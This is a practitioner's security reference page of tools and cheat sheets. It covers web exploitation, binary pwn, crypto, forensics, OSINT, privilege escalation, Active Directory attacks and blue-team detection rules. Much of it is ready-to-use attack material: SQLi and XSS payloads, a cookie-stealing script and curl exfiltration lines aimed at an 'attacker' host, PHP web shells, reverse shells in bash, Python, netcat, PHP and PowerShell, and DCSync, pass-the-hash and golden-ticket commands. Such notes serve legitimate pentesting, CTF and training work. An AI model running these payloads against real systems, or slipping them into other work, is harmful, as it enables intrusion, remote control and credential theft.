Tools & Cheatsheets#

My personal security reference. Tools I reach for and quick-recall content for the techniques I use most. Living document, edited as my workflow shifts. Use the TOC on the right to jump around.

Web Security#

Tools#

  • Burp Suite Community: proxy + repeater + intruder. Free tier covers most of what I do
  • ffuf: fast content discovery / wordlist fuzzing
  • feroxbuster: recursive content discovery, alt to ffuf
  • sqlmap: automated SQLi
  • wappalyzer + whatweb + httpx: tech fingerprinting + HTTP probing
  • gobuster: fallback content discovery
  • ParamSpider + Arjun: parameter discovery
  • dalfox: XSS scanner
  • jwt_tool: JWT analysis and attacks

Content Discovery#

Terminal window
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302,403
feroxbuster -u https://target.com -w wordlist.txt -x php,html,txt
gobuster dir -u https://target.com -w wordlist.txt -x php,html,txt

SQL Injection#

Detection:

'              -- error?
"              -- error?
\              -- error?
' AND 1=1 --   -- true
' AND 1=2 --   -- false

Auth bypass:

' OR '1'='1' --
admin' --
admin' #
' OR 1=1 LIMIT 1 --

UNION-based (find column count first):

' ORDER BY 1 --
' ORDER BY 2 --
' UNION SELECT NULL,NULL --
' UNION SELECT 1,version() --
' UNION SELECT 1,table_name FROM information_schema.tables --

Blind boolean:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --

Time-based:

' AND SLEEP(5) --                       -- MySQL
'; WAITFOR DELAY '0:0:5' --             -- MSSQL
' || pg_sleep(5) --                     -- PostgreSQL

NoSQL (MongoDB):

// JSON body
{"user": {"$ne": null}, "pass": {"$ne": null}}
{"user": "admin", "pass": {"$regex": "^a"}}

XSS#

Common payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
javascript:alert(1)

Filter bypass:

<ScRiPt>alert(1)</ScRiPt>
<script>alert`1`</script>
<svg><script>alert&#40;1&#41;</script></svg>
<img src=x onerror="alert(1)">
<a href=javas&#99;ript:alert(1)>x</a>

Cookie steal (testing):

<script>new Image().src='https://attacker/?c='+document.cookie</script>

SSRF#

Cloud metadata probes:

http://169.254.169.254/latest/meta-data/         # AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/                 # GCP
http://169.254.169.254/metadata/v1/              # DigitalOcean
http://169.254.169.254/metadata/instance?api-version=2017-08-01  # Azure

Bypass tricks:

http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://2130706433/         # decimal of 127.0.0.1
http://0x7f.0x0.0x0.0x1/   # hex
http://internal.target.com.attacker.com/  # DNS rebinding

File Upload#

Extension bypass:

shell.php.jpg
shell.pHp
shell.php5 / .phtml / .phar
shell.php%00.jpg
shell.jpg (with PHP in EXIF + .htaccess override)

Content-Type spoofing: swap header to image/jpeg while body is PHP.

LFI / RFI#

?file=../../../../etc/passwd
?file=....//....//....//etc/passwd
?file=/etc/passwd%00
?file=php://filter/convert.base64-encode/resource=index
?file=data://text/plain,<?php system($_GET['c']); ?>
?file=expect://id

Log poisoning (Apache access.log via User-Agent):

User-Agent: <?php system($_GET['c']); ?>
Then: ?file=/var/log/apache2/access.log&c=id

Command Injection#

Terminal window
; id
| id
& id
&& id
`id`
$(id)
$IFS$1id     # space-less
{id,}        # brace expansion

Blind exfil:

Terminal window
; curl attacker.com/$(whoami)
; ping -c 1 $(whoami).attacker.com

JWT#

none algorithm attack:

Header: {"alg":"none","typ":"JWT"}
Payload: {"user":"admin"}
Signature: (empty)

HS256 / RS256 confusion: sign with the public key as HMAC secret.

Tool:

Terminal window
jwt_tool TOKEN -T          # tamper interactively
jwt_tool TOKEN -X a        # alg=none
jwt_tool TOKEN -C -d wl.txt  # crack secret with wordlist

XXE#

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>


<!-- Blind / OOB -->
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "http://attacker/evil.dtd"> %ext;]>

Pwn & RE#

Tools#

  • pwntools: Python exploitation framework
  • Ghidra: NSA’s free RE suite for static analysis
  • GDB + pwndbg / gef: dynamic debugging with security extensions
  • radare2 / Cutter: alternate RE flow
  • ROPgadget + ropper: gadget hunting
  • one_gadget: libc one-shot gadgets
  • angr: symbolic execution
  • objdump / readelf / nm / file / strings: classic Unix tools

Binary inspection#

Terminal window
file binary
checksec --file=binary        # NX, PIE, RELRO, Canary, Fortify
strings -n 8 binary
readelf -a binary
objdump -d binary | less
nm binary | grep -i flag

pwntools template#

from pwn import *


context.binary = exe = ELF('./chal')
context.log_level = 'debug'
libc = ELF('./libc.so.6')


def conn():
    if args.REMOTE:
        return remote('host', 1337)
    if args.GDB:
        return gdb.debug(exe.path, gdbscript='b *main+0x42\ncontinue')
    return process(exe.path)


p = conn()
p.recvuntil(b'> ')
payload = flat({
    72: [exe.sym.win, 0xdeadbeef]
})
p.sendline(payload)
p.interactive()

ROP basics#

# Build chain
rop = ROP(exe)
rop.raw(b'A' * 72)
rop.call('puts', [exe.got['puts']])
rop.call('main')


# Calculate libc base from leaked puts
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym.puts
log.info(f'libc base: {hex(libc.address)}')

Format string#

# Leak: %p, %x, %s, %N$p
fmt = b'%7$p.%8$p.%9$p'


# Arbitrary write: %hn / %hhn at target address
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {exe.got['exit']: exe.sym.win})

Common protections + bypass#

ProtectionBypass
NX (no exec stack)ROP / ret2libc
ASLRleak libc/stack address first
PIEleak binary base from GOT/PLT
Stack Canaryleak the canary (format string, partial overwrite)
RELRO Fullcan’t overwrite GOT, target other writable funcs
Fortifybypass via lower-level writes

GDB / pwndbg shortcuts#

checksec       view protections
vmmap          memory layout
got            GOT entries
plt            PLT entries
search "str"   find string in memory
context        full debug view
heap           heap chunks
bins           tcache/fastbin/unsorted state
b *main+0x42   break at offset
x/100gx $rsp   dump 100 qwords from stack

Crypto#

Tools#

  • CyberChef: swiss army knife for encoding / decoding / hashing
  • Python + pycryptodome: real implementations
  • z3-solver: constraint solver
  • SageMath: lattices, ECC, finite fields, polynomial rings
  • hashcat + john: hash cracking
  • RsaCtfTool: automates common RSA attacks

Hash identification by length (hex)#

32 chars   MD5 / NTLM / MD4
40 chars   SHA-1
56 chars   SHA-224
64 chars   SHA-256
96 chars   SHA-384
128 chars  SHA-512

Hash cracking#

Terminal window
# Identify
hashid hash.txt
hash-identifier


# Crack with hashcat (mode examples)
hashcat -m 0 hash.txt rockyou.txt        # MD5
hashcat -m 100 hash.txt rockyou.txt      # SHA-1
hashcat -m 1400 hash.txt rockyou.txt     # SHA-256
hashcat -m 1800 hash.txt rockyou.txt     # bcrypt
hashcat -m 16500 jwt.txt rockyou.txt     # JWT HS256


# john
john --wordlist=rockyou.txt hash.txt
john --format=raw-sha256 hash.txt

Classical ciphers (Python solvers)#

Caesar / ROT-N brute:

ct = "uryyb"
for k in range(26):
    pt = ''.join(chr((ord(c)-97-k)%26+97) if c.isalpha() else c for c in ct.lower())
    print(k, pt)

Vigenere (with known key):

def vig_dec(ct, key):
    out = ''
    for i, c in enumerate(ct):
        if c.isalpha():
            shift = ord(key[i % len(key)].lower()) - 97
            out += chr((ord(c.lower()) - 97 - shift) % 26 + 97)
        else:
            out += c
    return out

RSA attacks#

Small e (e=3) and small message:

from gmpy2 import iroot
m, _ = iroot(c, e)

Common modulus (same N, different e1/e2, gcd(e1,e2)=1):

from sympy import gcdex
g, s, t = gcdex(e1, e2)
m = (pow(c1, s, N) * pow(c2, t, N)) % N

Wiener (small d): use owiener Python lib.

Fermat (close p,q): try from sympy.ntheory import isqrt and iterate.

AES gotchas#

  • ECB: identical plaintext blocks produce identical ciphertext. Visible in image encryption.
  • CBC bit-flipping: flipping bit in ciphertext block N flips same bit in plaintext block N+1.
  • Padding oracle: server leaks “bad padding” lets you decrypt CBC byte-by-byte.

Modular arithmetic quick wins#

pow(a, -1, n)        # modular inverse (Python 3.8+)
pow(base, exp, mod)  # fast modular exponentiation
from math import gcd
from sympy import isprime, nextprime, factorint

Forensics & Stego#

Tools#

  • Volatility3 (vol alias): memory forensics
  • Autopsy + Sleuthkit: disk forensics GUI + CLI
  • binwalk: embedded file extraction
  • steghide + zsteg + stegsolve: image / audio steg
  • exiftool: metadata
  • Wireshark + tshark: pcap analysis
  • foremost + scalpel: file carving
  • bulk_extractor: artifact extraction at scale

Volatility3 plugins (Windows)#

Terminal window
vol -f mem.raw windows.info
vol -f mem.raw windows.pslist
vol -f mem.raw windows.pstree
vol -f mem.raw windows.netscan
vol -f mem.raw windows.netstat
vol -f mem.raw windows.cmdline
vol -f mem.raw windows.filescan
vol -f mem.raw windows.dumpfiles --virtaddr 0xXXXX
vol -f mem.raw windows.malfind
vol -f mem.raw windows.hashdump
vol -f mem.raw windows.registry.hivelist

Volatility3 (Linux)#

Terminal window
vol -f mem.raw linux.bash
vol -f mem.raw linux.pslist
vol -f mem.raw linux.psaux
vol -f mem.raw linux.lsof
vol -f mem.raw linux.lsmod

Stego workflow#

Terminal window
file image.png
exiftool image.png
strings -n 8 image.png | tail
binwalk image.png
binwalk -e image.png         # extract embedded files
zsteg image.png              # LSB on PNG
zsteg -a image.png
steghide extract -sf image.jpg -p ""  # try empty password
stegseek image.jpg rockyou.txt        # brute steghide password

File carving#

Terminal window
foremost -i disk.dd -o output/
scalpel -c scalpel.conf disk.dd
binwalk -e firmware.bin

Network forensics (Wireshark filters)#

http.request.method == "POST"
ip.addr == 10.0.0.1 && tcp.port == 4444
tcp.stream eq 5
http contains "password"
dns.qry.name contains "evil"
ssl.handshake.extensions_server_name == "target.com"
frame contains "flag{"
Terminal window
tshark -r capture.pcap -Y 'http.request' -T fields -e http.request.uri
tshark -r capture.pcap -z conv,tcp
tshark -r capture.pcap --export-objects http,output_dir/

Recon / OSINT#

Tools#

  • amass + subfinder: subdomain enumeration
  • crt.sh (web): certificate transparency
  • RECOG.py: my own pipeline (projects)
  • theHarvester: email + domain OSINT
  • Sherlock + WhatsMyName: username enumeration
  • Maltego CE: visual link analysis (free tier)
  • nuclei: templated vulnerability scanning
  • shodan (CLI): exposed asset search
  • GitHub dorks / trufflehog: secret discovery in code

Subdomain enum#

Terminal window
subfinder -d target.com -silent
amass enum -passive -d target.com
assetfinder --subs-only target.com
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
  | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
findomain -t target.com
chaos -d target.com    # ProjectDiscovery's chaos DB

Live host filtering#

Terminal window
cat subs.txt | httpx -silent -status-code -title -tech-detect
cat subs.txt | httpx -silent -mc 200,403 | tee live.txt

Port scanning#

Terminal window
nmap -sV -sC -p- --min-rate 1000 target.com -oA scan
nmap --script=vuln target.com
masscan -p1-65535 --rate=10000 10.0.0.0/24 -oG masscan.gnmap
naabu -host target.com -p -            # full range
rustscan -a target.com -- -sV -sC      # fast then nmap

Web tech fingerprinting#

Terminal window
whatweb https://target.com
wappalyzer-cli https://target.com
httpx -u target.com -tech-detect

Google dorks#

site:target.com -www
site:target.com inurl:admin
site:target.com filetype:pdf
site:target.com intext:"password"
site:github.com "target.com" "api_key"

Username enumeration#

Terminal window
sherlock 0xkakashi
maigret 0xkakashi --html

Metadata#

Terminal window
exiftool file.pdf
exiftool -all= file.pdf       # strip metadata (sanitize before sharing!)

DNS / WHOIS#

Terminal window
dig +short target.com
dig +short MX target.com
dig +short TXT target.com
dig +short AXFR target.com @ns1.target.com   # zone transfer attempt
whois target.com
dnsenum target.com

Reverse Shells#

bash / sh#

Terminal window
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196
sh -i 5<> /dev/tcp/ATTACKER/4444 0<&5 1>&5 2>&5

Python#

Terminal window
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Netcat#

Terminal window
nc -e /bin/bash ATTACKER 4444                    # if -e is available
mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER 4444 > /tmp/f   # without -e

PHP#

<?php exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"); ?>
<?php system($_GET['c']); ?>

PowerShell#

Terminal window
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Listener (your side)#

Terminal window
nc -lvnp 4444
rlwrap nc -lvnp 4444          # with line editing
pwncat-cs -lp 4444            # better experience, auto-upgrade pty

Stabilize the shell#

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z, on host:
stty raw -echo; fg
# Inside shell:
export TERM=xterm
stty rows 38 columns 116

Privilege Escalation#

Linux enumeration#

Terminal window
# Auto enum
linpeas.sh
lse.sh -l 2
linux-exploit-suggester.sh


# Manual quick wins
id
sudo -l
find / -perm -4000 -type f 2>/dev/null    # SUID binaries
find / -perm -2000 -type f 2>/dev/null    # SGID
getcap -r / 2>/dev/null                   # capabilities
crontab -l && cat /etc/crontab && ls -la /etc/cron.*
cat /etc/passwd | grep -v false | grep -v nologin
ls -la /home /root /opt
mount
ps auxf
netstat -tulpn

Linux escalation paths#

  • sudo misconfig: check sudo -l, look up the binary on GTFOBins
  • SUID/SGID: same, find on GTFOBins
  • Writable cron / systemd timer: edit a script that runs as root
  • PATH hijack: when a root script calls a binary without absolute path
  • Kernel exploit: last resort, check uname -a against linux-exploit-suggester
  • Capabilities: cap_setuid on a binary lets you become root with the right call
  • NFS no_root_squash: mount remote share, drop SUID binary
  • Docker / lxd / disk group: privesc-by-design if user is in these groups

Windows enumeration#

Terminal window
# Auto enum
winpeas.exe
PowerUp.ps1; Invoke-AllChecks
Seatbelt.exe -group=all


# Manual quick wins
whoami /all
systeminfo
net user / net localgroup
netstat -ano
schtasks /query /fo LIST /v
wmic service get name,pathname,startname | findstr /v "Windows"

Windows escalation paths#

  • Unquoted service path: service points to C:\Program Files\Foo\bar.exe without quotes
  • Service binary writable: replace the service .exe
  • AlwaysInstallElevated: registry flag lets MSI install as SYSTEM
  • Stored credentials: cmdkey /list, scheduled task XMLs, group policy preferences
  • Token impersonation: SeImpersonate / SeAssignPrimaryToken with JuicyPotato, PrintSpoofer, RoguePotato
  • DLL hijack: drop malicious DLL in a path searched before the legit one
  • Kernel exploits: check patch level vs known CVEs

Active Directory#

Recon#

Terminal window
# From Linux attack box
nxc smb DC.lab.local -u user -p pass --shares
nxc smb DC.lab.local -u user -p pass --rid-brute
ldapsearch -x -H ldap://DC.lab.local -b "dc=lab,dc=local"
enum4linux -a DC.lab.local

Kerberoasting#

Terminal window
# Request service tickets for accounts with SPNs, crack offline
GetUserSPNs.py lab.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP roasting#

Terminal window
# Accounts with Kerberos preauth disabled, no creds needed
GetNPUsers.py lab.local/ -no-pass -usersfile users.txt -dc-ip 10.0.0.1
hashcat -m 18200 hashes.txt rockyou.txt

Pass-the-hash / Pass-the-ticket#

Terminal window
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH                 # PtH spray
psexec.py lab.local/admin@DC -hashes :NTLM_HASH           # PtH exec
export KRB5CCNAME=ticket.ccache && klist                  # PtT

BloodHound essentials#

Terminal window
# Collect
bloodhound-python -u user -p pass -d lab.local -ns 10.0.0.1 -c All
# Or SharpHound.exe from Windows host


# Common queries (Cypher in BH GUI)
MATCH (u:User {enabled:true}) WHERE u.dontreqpreauth=true RETURN u   # AS-REP roastable
MATCH (u:User) WHERE u.hasspn=true RETURN u                          # Kerberoastable
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})) RETURN p

DCSync#

Terminal window
# Requires Replicating Directory Changes privilege
secretsdump.py lab.local/admin:pass@DC -just-dc-user krbtgt
secretsdump.py -no-pass -k -dc-ip 10.0.0.1 lab.local/admin@DC

Golden / Silver tickets#

Terminal window
# Golden: requires krbtgt hash
ticketer.py -nthash KRBTGT_NT -domain-sid S-1-5-21-... -domain lab.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass lab.local/Administrator@DC

Blue Team / SOC#

Tools#

  • Splunk: log analysis
  • Wireshark: packet analysis
  • Suricata + Snort: IDS rule writing
  • YARA: malware pattern matching
  • Velociraptor: endpoint hunting / DFIR
  • MISP: threat intel sharing
  • Sigma: vendor-neutral detection rules
  • TheHive + Cortex: SOC case management + observable analysis
  • CyberChef: log decoding and IoC extraction

Splunk SPL essentials#

# Auth fails by user
index=auth action=failure
| stats count by user
| where count > 10


# Beaconing detection (constant interval)
index=network
| stats count, dc(_time) AS distinct_times, range(_time) AS span by src, dest
| eval beacon_score = span / count
| where count > 50 AND beacon_score < 60


# Process spawn anomalies
index=endpoint sourcetype=Sysmon EventCode=1
| rare ParentImage, Image


# Geographically impossible logins
index=auth
| iplocation src_ip
| streamstats current=f window=1 last(City) AS prev_city last(_time) AS prev_time by user
| where City != prev_city AND (_time - prev_time) < 3600

Sigma rule template#

title: Suspicious PowerShell Encoded Command
id: 1234-abcd
status: experimental
description: Detects PowerShell with encoded command flag
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image|endswith: '\powershell.exe'
        CommandLine|contains: '-EncodedCommand'
    condition: selection
falsepositives:
    - Legitimate admin scripts
level: medium

YARA templates#

String-based:

rule suspicious_powershell {
    meta:
        author = "0xkakashi"
        description = "PowerShell with common malicious patterns"
    strings:
        $a = "Invoke-Expression" nocase
        $b = "DownloadString" nocase
        $c = "FromBase64String" nocase
        $d = "Bypass" nocase
    condition:
        2 of them
}

Byte-based (PE detection):

rule pe_file {
    strings:
        $mz = { 4D 5A }       // MZ header
        $pe = { 50 45 00 00 } // PE\0\0
    condition:
        $mz at 0 and $pe
}

Suricata rule template#

alert http any any -> any any (msg:"Possible web shell upload";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:".php"; nocase;
  http.request_body; content:"<?php";
  classtype:web-application-attack;
  sid:1000001; rev:1;)

Windows Event IDs to know#

IDDescription
4624Successful logon
4625Failed logon
4634Logoff
4648Logon with explicit credentials
4672Special privileges assigned
4688Process creation
4720Account created
4724Password reset
4768TGT requested (Kerberos)
4769Service ticket requested
4776NTLM auth
5140Network share accessed
7045Service installed

MITRE ATT&CK quick categories#

  • TA0001 Initial Access (phishing, valid accounts)
  • TA0002 Execution (PowerShell, scripts)
  • TA0003 Persistence (scheduled tasks, registry run keys)
  • TA0004 Privilege Escalation
  • TA0005 Defense Evasion (obfuscation, signed binary proxy)
  • TA0006 Credential Access (LSASS dump, kerberoasting)
  • TA0007 Discovery
  • TA0008 Lateral Movement (PsExec, RDP, SMB)
  • TA0009 Collection
  • TA0010 Exfiltration
  • TA0011 Command and Control (DNS tunneling, beaconing)

My Setup#

Kakashi-themed Kali Linux 2025.4 with full toolkit. Custom ZSH prompt, fastfetch with Kakashi braille art, themed btop / bat / lsd. Aliases I actually use:

cat   -> batcat
ls    -> lsd
top   -> btop
vol   -> volatility3
fetch -> fastfetch

Full setup details in /now and on the About page.

References#

When I need to look something up beyond what’s here, I check these first. All free, well-maintained, far deeper than this page:

The above are the canonical sources. The content on this page is my own distilled notes for what I actually reach for from memory. For depth, follow the links.

© 2026 Keshav Locknauth · 0xkakashi